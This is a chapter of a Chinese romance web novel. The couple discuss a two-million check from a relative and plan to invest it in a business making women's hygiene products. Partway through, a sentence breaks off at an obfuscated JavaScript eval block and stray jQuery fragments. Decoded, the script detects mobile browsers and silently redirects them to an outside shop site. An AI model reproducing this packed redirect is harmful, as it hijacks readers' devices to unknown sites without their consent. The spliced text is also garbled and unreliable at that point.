第一一一章合作
符伊年正想要去找祝镕,发现祝镕过来了,她侧开身让人进来,“你怎么过来了?”
祝镕奇怪地看她,自从两人确定关系以来,她几乎不再跟他说这句或者类似这句的话。今天这是怎么了?
祝镕其实之前来过一次了,敲了门等了很久不见有人开,他又回去的,等了一会儿听到隔壁有动静了才又过来的,“我回来洗了个澡,然后过来敲门你不在。”
“哦。”符伊年坐回沙发里,低低地应了一声,拍拍身边的位子,示意祝镕过来坐。
祝镕走过来坐下,正想问她怎么了,眼睛就看到了放在茶几上的那张支票,方方正正平平整整,一点折痕都没有,收款人是符伊年,金额是,两百万。
相比当初符伊年一张普通方子卖了十五万的震惊,对于“两百万”这个数字,祝镕竟然觉得还挺平常的,毕竟恩慈集团经过了三十来年的发展,又是在漂亮国这样的资本主义国家发展壮大的,这点钱不算多。
祝镕盯着这张支票,一时不知道要说些什么好,于是他转头看向符伊年,正好符伊年也看过来,两人眼睛一对视,其实都明白了对方的意思。
符伊年长叹一声“唉”,然后身子一歪,直接躺倒在祝镕的大腿上,“钱帛动人心啊。”
“嗯?”祝镕一挑眉毛,“怎么?您打算踢了我琵琶别抱了?”
“那不能。”符伊年果断地否认,“我还等着住将军楼呢。可是好多钱啊,好心动哎,我可是拒绝了2%的股份呢!”
这次祝镕是真惊到了,直接爆了个粗口出来。2%的股份哪,虽然他不知道恩慈集团到底有多少钱,不过十几二十亿总归是有的吧,2%就是几千万啊,几千万啊!
相比之下,两百万的支票好像都很平常了。
“傻了吧?”符伊年抬手摸摸祝镕的下颌,他好像刮胡子了,很顺滑嘛。
祝镕握住符伊年不老实的手,诚实地点头,“是有点,我一年也就几千块,不吃不喝一万年才能赚到这么多。”
“不是这么比的。”符伊年笑了一声,接着又是叹气。
祝镕看她愁容满面,不禁好奇起来,“到底怎么回事啊,一会儿2%的股份一会儿两百万的支票,你跟我详细说说?”
符伊年这才想起来,祝镕还不知道经过,于是就把之前的事讲给他听,末了自己总结,“总觉得那2%的股份就是我的卖身钱,一旦签了字,我就被押着去联姻了。”
祝镕觉得虽然根据之前的情报和调查,看起来确实是有这种可能。不过祝镕觉得,也许柳老先生并没有那么不近人情,“可能表舅最开始准备的就是这两百万的支票,那个股份就是个幌子,他知道你肯定不会要的,以退为进。”
符伊年听了祝镕的解释,眨眨眼,“你是怕我伤心,故意说好听的吧?”
祝镕笑笑,没有承认,也没有否认,“无论是哪个,你现在要决定的是,是否收下这两百万。”
“收下啊。”符伊年磕绊都没有一下,果断地回答,“人家都那样说了,不收就太不识抬举了,况且,钱又不咬手。”
祝镕露出一个恍然大悟的表情,点点头,“既然这样,那是不是可以暂时放下这件事,我们来做点别的?”
“做什么?”符伊年还没反应过来,就感觉到自己被人抱了起来,她大笑了起来,行吧,良宵苦短,还是和有情人做快乐事更开心些。
从安县回到京城,符伊年和祝镕又亲自把柳家父子送回首都饭店安顿好,这才回去四合院。
四合院大门紧闭,铁将军把门——家里没人。
符伊年在随身的挎包里找了找,没找到钥匙,她缓缓转头看向祝镕,祝镕迅速领会她的意思。
只见祝镕退后两步,左右看看,选定一个位置,助跑三步轻轻一跃,甚至没有在墙面上留下脚印,双手按在墙头,双腿腾空,就跳进了院子里。
符伊年:???我是问你有没有带钥匙,不是让你翻墙!这么想着,符伊年就将目光落在自家的围墙上,两米好像有点矮?改天要不要再垒高点?
正想着,祝镕从底下门缝里递了把钥匙出来,是他从屋里找出来的。符伊年弯腰把钥匙捡起来开锁进院子。
可能时间久了,两个人之间有一种默契,符伊年刚想到的事情,祝镕也想到了,她才一进院子,祝镕就拉着她指着院墙,说:“你这围墙,是不是应该加高点?或者上面加一层玻璃碴?防盗。”
符伊年想了想,“玻璃碴吧,都两米了再高就比房子高了,再说多高都能搭梯子。”说完又嘀咕,“也不知道什么时候才能有监控报警。”
祝镕耳朵尖,听见了她的嘀咕,不知道她是在自言自语,以为是在同他抱怨,笑着安抚她快了,“已经普遍军用了,有些重要单位也用上了,大概再过些年报警器就能民用了。”
至于视频监控,以后也会慢慢推广开的。
临近春节,祝军长要下连队走基层,已经有段日子不回家了,几乎都是住在连队。而容院长的实验之前出了喜人的结果,开始正式临床应用,门诊也轻松了不少,毕竟临近过年了,很多华国人除非大病急病,是不爱在过年的时候去医院的。
所以这一段时间容院长经常可以按时上下班。这个晚上,容院长回来宣布了一个消息:医院组织医药下乡,她自荐带队,明天出发。
符伊年和祝镕听到这个消息都愣住了,“怎么大冬天的下乡?”
容院长乐了,“冬天就不生病啦?每年都有这个活动,只是以往我去的时候你们不在家而已。”
“医药下乡”除了义诊、免费赠药,还要培训农村卫生人员,所以后来统称为“卫生下乡”,和文化、科技一起,称为“三下乡”。通过这项活动,引导农民解放思想,更新农民观念,提高农民身体素质和文化素质,增强他们的致富能力。是发展经济、建设小康和扶贫攻坚的重要举措之一。
符伊年对“三下乡”早有耳闻,只是没想到居然这么早。这是好事,是农民可以直接受益的活动,尤其后来的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13555573|131614||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
科技下乡和文化下乡,既可以提高农民的身体、文化素质,也能推动农村生产力的发展,形成“星星之火可以燎原”的势态。
毕竟,华国农村人口占了约七成,尤其此时大多数农民还没有成为农民工。
符伊年想着,心思一动,“我也想去。”
容院长是不反对,甚至非常欢迎,但是祝镕就不是很乐意了,过了一会儿,他说,“你不是还想把那两百万拿出来和柳旻进行合作吗?我觉得尽快去谈比较好,不然他回了漂亮国,就不好说了。”
容院长看了自己儿子一眼,心中大笑,这小子心里的小九九怎么那么多。不过还是顺着他的话往下问:“什么两百万?钱吗?怎么那么多啊?”
于是祝镕就把符伊年之前同他讲的事情与容院长说了一遍,讲得绘声绘色的,符伊年在一旁听着忍不住撇嘴,心说不知道的还以为你当时在现场呢。
“后来关于这两百万的处置,年年和我商量,退是没法退的,退就等于不认这门亲了,那之前做的一切就白费了。”
容院长点头,“是这个道理,退回去就太不尽人情了。那你们后来怎么商议的?”
因为那天晚上俩人忙着做快乐的事,根本没一时间讨论这件事,是后来第二天返京的路上简单地谈论了一下。
当然,这个就不用详细说给容院长听了。
“我想着,既然不能直接还回去,那就换另外一种方法,”符伊年接着说,“我想着,拉柳旻表哥一起,一起开个工厂或者公司,既能把钱还回去,说不定还能钱生钱。”
容院长仔细琢磨了一番这个想法,觉得不错,不过,“那你想开个什么公司或者工厂呢?一定得赚钱才行,不然就不是还钱、钱生钱了,就变成了骗钱了。”
当时祝镕也是这样问符伊年的,符伊年其实也没想好,于是就问祝镕有什么想法没有。祝镕想说他想法多着呢,可惜都不是两百万能达成的。
“既然要能钱生钱,那就应该是长久需要的商品。”祝镕斟酌着说,“以你自己为例子,你觉得你以后长久需要的物品是什么?”
符伊年果断反对,“我一个人,不具有参考性吧。”
而祝镕的看法却恰恰相反,理由也很充分:符伊年是女性,思维更细腻,还是高级知识分子,眼界更宽阔,又是学经济的,有着专业的视角。在她看来,什么样的物品,或者说商品在十几年甚至几十年之后,依然被需要,而且会越来越成为刚需。
刚需物品,其实不过就是几样,衣食住行。服装吗?好像也可以,以后人们有钱了,会越来越爱时尚的。食?开饭店?做小吃?民以食为天,也不错。住,那日后发展最大的就是房地产了,不过如今还不行,住房改革还没开始,再说两百万而已,不够看的,这个就算了。行,开个运输公司?也是条门路,就是风险有点大,交通事故不可控啊。
符伊年想了一路都没想好,最后祝镕给了她一个指点:贴近日常生活。
然后符伊年就想到了,女性卫生用品!